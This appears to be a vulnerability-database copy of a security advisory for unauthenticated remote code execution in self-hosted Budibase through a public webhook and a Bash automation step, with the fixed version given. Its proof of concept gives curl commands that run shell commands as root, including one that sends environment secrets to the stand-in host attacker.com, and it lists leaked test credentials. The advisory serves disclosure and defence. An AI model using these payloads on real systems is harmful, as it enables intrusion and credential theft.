VDB
Sign up
CRITICAL9.0

GHSA-fcm4-4pj2-m5hf

Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Quick fix

GHSA-fcm4-4pj2-m5hf — @budibase/server: upgrade to the fixed version with the command below.

npm install @budibase/server@3.33.4

Details

### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.

### Details

**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**

```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ```

The webhook trigger endpoint is registered on `publicRoutes` with **no authentication middleware**. Any unauthenticated HTTP client can POST to this endpoint.

**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**

```typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() ```

The Bash automation step uses Handlebars template processing (`processStringSync`) on `inputs.code`, substituting values from the webhook request body into the shell command string before passing it to `execSync()`.

**Attack chain:**

``` HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT ```

**Precondition:** An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)

This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.

**Note on EXECUTE_BASH availability:** The bash step is only registered when `SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:

```typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } ```

**Webhook context flattening** (why `{{ trigger.cmd }}` works):

In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations the `params.fields` are spread directly into the trigger context:

```typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } ```

This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}` in the bash step template.

### PoC

#### Environment

``` Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE ```

---

#### PHASE 1 — Admin Setup (performed once by legitimate admin)

> **Note:** This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure.

**Step 1 — Authenticate as admin:**

```bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }'

# Expected response: # {"message":"Login successful"} ```

**Step 2 — Create an application:**

```bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }'

# Note the appId from the response, e.g.: # "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" ```

**Step 3 — Create automation with Webhook trigger + Bash step:**

```bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }'

# Note the automation _id from response, e.g.: # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce" ```

**Step 4 — Enable the automation** (new automations start as disabled):

```bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" ```

**Step 5 — Create webhook linked to the automation:**

```bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }"

# Note the webhook _id from response, e.g.: # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" ```

**Step 6 — Publish the app to production:**

```bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID: # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" ```

---

#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production `app_id` and `webhook_id`. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering

**Step 7 — Basic RCE — whoami/id:**

```bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}'

# HTTP Response (immediate): # {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root. # Output confirmed via container inspection or exfiltration. ```

**Step 8 — Exfiltrate all secrets:**

```bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' ```

Confirmed secrets leaked (no auth): ``` JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ```

### Impact - **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.

- **What can an attacker do:** - Execute arbitrary OS commands as `root` inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user - Potentially escape the container if `--privileged` or volume mounts are used

- **Authentication required:** **None** — completely unauthenticated - **User interaction required:** **None** - **Network access required:** Only access to port 10000 (the Budibase proxy port)

Discovered By: Abdulrahman Albatel Abdullah Alrasheed

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@budibase/server
Introduced in: 0Fixed in: 3.33.4
Fixnpm install @budibase/server@3.33.4

References